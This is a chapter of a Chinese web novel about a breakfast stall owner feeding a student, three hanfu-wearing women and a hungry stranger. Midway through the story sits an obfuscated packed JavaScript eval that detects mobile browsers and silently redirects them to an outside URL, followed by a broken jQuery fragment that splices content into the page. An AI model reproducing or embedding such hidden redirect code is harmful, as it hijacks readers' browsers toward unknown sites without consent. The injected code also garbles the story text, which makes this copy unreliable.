在做这个的时候,画春木则采用了低筋面粉和纯白的牛奶和面,再将它彻底蒸熟以后,奶黄流沙包的外观就是非常具有一种蓬松感,甚至轻轻一捏就会回弹,外表会带有一股淡淡的香气,而流沙内馅就是采取了咸蛋黄,将其烤熟之后再混入了黄油,这就是奶黄流沙包里面最最核心的灵魂。
为了防止过烫,需要先将流沙包的外表戳一个洞,释放蒸汽了再小口地吃,画春木特意提醒了她。崔萃于是在吃得时候也是小心翼翼,流沙是已经成岩浆状的,那种带着甜咸味道的流沙包,让她禁不住地直接赞叹:“这也太好吃了!!”
吃完后的三秒,香气充盈了她的口腔,崔萃在想,自己曾经总是经过地铁旁边的档口,却也没想着买份早餐,现在不同,她以后都要在这边吃早饭。
“我现在胃好很多了,刚刚我的胃里面就感觉像空了一样,整个人挺虚弱的。走两步感觉就像是要晕倒似的。”
“好些就行。”
“嗯,我现在的确觉得好了很多,要不我再来一碗八宝粥吧,喝完估计就差不多。”
崔萃:“以后我确实需要每天吃早餐,补充营养和糖分。”
“你这么想就对了,在做事之前一定要先照顾好自己的身体。”
以后的每一天,崔萃都会到画春木这里吃一顿饭,画春木还会对他说考研加油,崔萃得到了满满的鼓励和打气,认为她自己现在整个人已经活力满满了!!
自从吃了春日早餐铺里的早饭以后,之前她背书时候只能背下来两句话,很艰难才能记住考研重要知识点的崔萃现在的记忆力都有所提高了。这些其实还是多亏了画老板做的饭,果然,美食能够促进人上进的动力呀!!
更何况档口这里有一位这么温柔的店老板,讲话也是慢慢吞吞,压根不会急躁的人,只要吃了她做的美食,一整日的心情都会变得极好无比,那可真是一种异常幸福之感啊!
就在正常营业的早9点,画春木依旧在档口里忙碌着,看到远处就有三个身穿汉服的女生。
她们其中一位是穿着妃色浅粉的齐胸襦裙,另一位穿的是上身具有明代特色的雪青立领斜襟,下装是两片式孔雀蓝的旋裙,另外一位则穿的是那种直裾的淡黄色裙子。
三人打扮得十分明媚,一些汉服的爱好者,她们常常就在周二会自发地组织一些小型的茶会或者露营的活动。
当然了,她们日常就比较喜欢穿汉服了,是大街小巷里最为亮眼的一种存在。
平日穿的时候,她们会穿一些比较简洁便利款的类似短式的汉服衣裳,只有在参加一些活动时候就会穿一些比较漂亮的,有着那种大袖衫或者是长袍的衣裳,衣袖整体带来的那种飘飘欲仙,自然会引得不少路人侧目。
浅粉衣服的豆小小:“我饿了,要不我们先吃点饭吧。”
黄色裙子的花雪儿看了看旁边的徐珍真,三人一致同意,就走到了地铁口的附近,这边的档口也有两家开门了,花雪儿:“阿真,小小,我想吃这家的。”
徐珍真:“春日早餐铺。这家看着不错啊。”
这里面徐珍真年龄最长,其实她们都是已经毕业工作了的,她们都是自由职业者,平时可以兼顾自己的兴趣爱好,花雪儿:“我想吃那个肉夹馍。”
豆小小:“这里还有胡辣汤耶,卤鸡爪和卤鸡腿,而且还挺干净的。”
每回,画春木都会把这边收拾得干干净净,将餐台整理一丝不苟。
豆小小:“我来一碗胡辣汤,奶黄流沙包,再来一个卤鸡爪。”
徐珍真:“老板,我就来一碗这个肉丸汤,再来一块肉夹馍。”
“我也想吃肉夹馍。”
徐珍真听花雪儿这么说,道:“那你跟我买一样的吧。”
花雪儿:“那我就不喝粥了,这有个那种爆辣手抓饼,我看可以加辣多吧?”
“我自己研制的辣酱,可以加辣。”
“行,我想吃爆辣,多加一点。”
豆小小:“雪儿,那你吃完辣的手抓饼嘴里不会有味道吧?”
花雪儿忽然说:“是啊,我都忘了这事儿了。毕竟一会儿是要参加茶会的嘛,嘴巴里面要是太大味道的话,确实不太好。”
画春木解释说:“这是我自制的辣椒酱,但是内里的酱香味比较浓,所有应该不会有很大的味道。如果真的害怕有味道的话,店内还有一些糖果,还有巧克力。吃一颗,完全就能直接遮住那股辣椒的味道了。”
她给她们拿了一盒的巧克力,花雪儿就那么轻轻地瞥了一眼,瞬间心都化了,说:“天!好可爱,居然是星球形状的呢,还有动物形状的巧克力……”
豆小小拿起了一颗猪猪的巧克力,道:“我是属猪的,那我就吃这颗小粉猪就好了。看着就很好吃的样子啊,嘶溜~味道肯定会很棒!!”
花雪儿更是忍不住地说出各种的溢美之词:“哇,你这个真的真的好可爱!但我总觉得我这只奶牛的样子比你的还要好看,反正都好好可爱呀!这一定程序很复杂才能做出的吧?各种工序应该不简单的,老板,你这是怎么做成的?”
“我自己是又刻了一个模具,把想要的图案先手绘制成,然后再放入模具,基本这样晾一阵就能成它合适的形状了。”
花雪儿:“而且每颗不同形状的巧克力都好立体,看上面的花纹还都十分细节,有了这些甜滋滋的巧克力,我就不怕会有什么味道了。”
不一会儿,就已经先端上了一碗胡辣汤,味道闻起来就是又麻又辣的,闻着味道倒是十分正宗呢。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676107|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
豆小小先是尝了一口汤,汤里面散发出的胡椒与牛肉的气味,牛肉是那种很薄的薄片,在做牛肉时,它就告诉画春木,要将它切成七分薄的薄片,还要用葱姜和料酒腌入味道,尤其是汤里面的面筋是重中之重。
开锅以后,牛肉面筋木耳等多种的料一同煮,等它们全部熟了之后再放入胡椒粉、花椒粉、十三香、老抽、盐等,最后再倒入水淀粉,汤会变得十分浓稠,勾芡结束以后就是激香,淋上辣椒油和香醋,味道一下子就十足的浓郁了……
这面筋真的太好吃了,主要里面是特别地有嚼劲,入口就会是又麻又辣的滋味,就是豆小小童年里面记忆中的味道啊,简直是一模一样呢,她又接着加了一勺辣油,味道激荡的感觉也让其他两人心间痒痒了,于是她们也都很想尝一尝,画春木她就按照她们的要求就拿出一个小碗来,豆小小把汤舀了一些到两个小碗里,就想是尝一尝味道而已,结果尝了一口就再也难以忘怀了!
徐珍真:“我最最喜欢汤里面的牛肉。”
花雪儿:“我最喜欢里面的面筋,面筋才是直接提升这碗胡辣汤的灵魂的!”
豆小小:“老板,有油条吗?我想再买一份油条。”
“需要油条,我得现给你炸,一般是从5点半开门就会有炸油条,7点左右就会基本卖完的,不过如果客人需要,画春木会现炸油条,豆小小她要了一份炸油条,炸出来的油条通身外表都是金黄色,里面特别地嫩,只要是吃上一口,简直酥爆了!
豆小小直接把它掰成了一小段一小段,然后就泡入胡辣汤里面,这样之后挂满了汤汁的油条,那种辣的气息更浓了,她彻底就被这种油条酥酥热热的暖意包裹,吃油条果然还是现炸出来的好吃,热气腾腾的,口味真的非常非常不错,期间,画春木还夸她们的衣裳真的漂亮,豆小小:“衣服的料子和工艺细节确实还不差,而且穿在身上也很轻薄的,如果老板想穿,我可以帮你推荐几身。”
画春木:“我没穿过这种,也不知道适合什么。”
花雪儿:“老板的身材很好,其实穿哪种款式的,我认为都会好看。应该怎么穿都不会穿错的。”
之后,她们吃完了饭就心满意足地离开,欢欣中又带着雀跃的!!
一上午,画春木就没有闲下来过,好容易能够清闲一阵,就听到了王家夫妇对话,两人的对话内容是关于近期春岩路出了个小偷,很多路人都被偷了东西,警方那边已经立案,但犯罪嫌疑人并没找到,就怕再流窜作案,这样为案件的侦破增加了不少难度,画春木她会问那人的大概特征,王家夫妇说不清楚,警方肯定会更了解的。
继续工作,春日早餐铺又迎来了一位客人,男客人随便就点了餐,点了一份鸡蛋灌饼和一份饭团和烤肠,早餐铺推出了新的黑胡椒口味的烤肠,他拿到餐以后,就开吃了起来。
他眼神四处瞅着,有点不安似的,画春木也多少看出来了,问:“还有什么需要的吗?”
男人并没说话,半晌才对她道:“没有了。”
对方就坐在这边吃,黑胡椒味道的烤肠是画春木她在原味烤肠的基础上,改良过的另一版,只是在原味烤肠的做法上面添加黑胡椒的话,味道不会那样足够,想要香气更加浓郁,首先就得用料适当,比如就在馅料上面,肥瘦的比例一定达到了3:7,油脂太多不好吃,太少了也会吃起来有点柴,口感而言不好。
肉馅必须做到粘稠在手上不掉,就是可以弹牙,最后烤制时候就会外皮格外焦脆,这款烤肠是可以蘸酱料吃的,黄芥末酱或者是番茄酱,味道都会挺好的,男人随便抓起来有包装袋子装上的鸡蛋灌饼就吃,饭团里面的紫菜碎是点睛的味道,越咀嚼就会越香,原本以为饭团和鸡蛋灌饼已经超好吃!谁想,这个黑胡椒口味的烤肠,搭配黄芥末酱,口味一整个直接升华了!!
直击天灵盖的好吃!!!!
男人有点急,他的眉头紧皱,快速吃完就准备走的,但这一顿简单又极其普通的小食,竟然会让饿着肚子的他,感到一种世间别无仅有的美味~而且,这简直就是已逝母亲她小时候会给他做饭的味道,那样熟悉,她做出的饭,是让他不能抵挡的,于是他又拿了一份小食,要了一份同样味道的烤肠。
这时,在他身后站着的两个人,其中一位拍了一拍他的肩膀,男人却是十分不耐地说:“谁啊?别打扰我吃烤肠行不行?想吃自己买去!!”
他把烤肠放在身前,不允许任何人抢夺他的巨巨好吃的烤肠,看着自己眼前这根蘸上蘸料的黑胡椒烤肠,吃上一口,天!这到底是什么神仙美味啊!实在是太太上头了吧!!!
这怎么一吃还根本停不下来了呢?不行,他接着说:“老板,再给我来一根!不,再来三根!!!!”